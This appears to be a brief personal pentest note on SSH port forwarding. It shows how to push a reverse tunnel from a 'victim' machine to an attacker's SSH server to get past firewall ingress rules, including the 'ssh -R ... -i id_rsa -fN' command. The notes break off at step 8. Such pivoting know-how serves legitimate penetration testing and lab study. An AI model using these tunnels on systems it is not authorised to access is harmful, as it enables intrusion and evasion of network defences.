Local port fowarding via a SSH server

ssh -L [LOCALPORT]:[REMOTEIP]:[REMOTE PORT] user@sshserverip -fN.


Remote Port forwarding via ssh server:

1,. commonly used when ingress traffic are block by firewalls.

  1. works by init a connection from victim machine to attackers and open an port on attackers machine back to port on the victims machine.

Steps to produce:

  1. ssh-keygen
  2. copy the public key to the ~/.ssh/authorized_keys on our attacker machine.
  3. on a new line type command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty before you put the public key in there BOYYYYY.
  4. sudo systemctl status ssh
  5. sudo systemctl start ssh.
  6. Transfer the private key to the victim machine.
  7. On the client / victim machine. ssh -R LOCALPORT:TARGET_IP:TARGET_PORT kiwids@kiwidsIP -i id_rsa -fN. NOTE the targetIP can be 127.0.0.1:443 or it can be 172.16.0.10:80.
  8. On our attacker machine.

New SSH client allows reverse proxy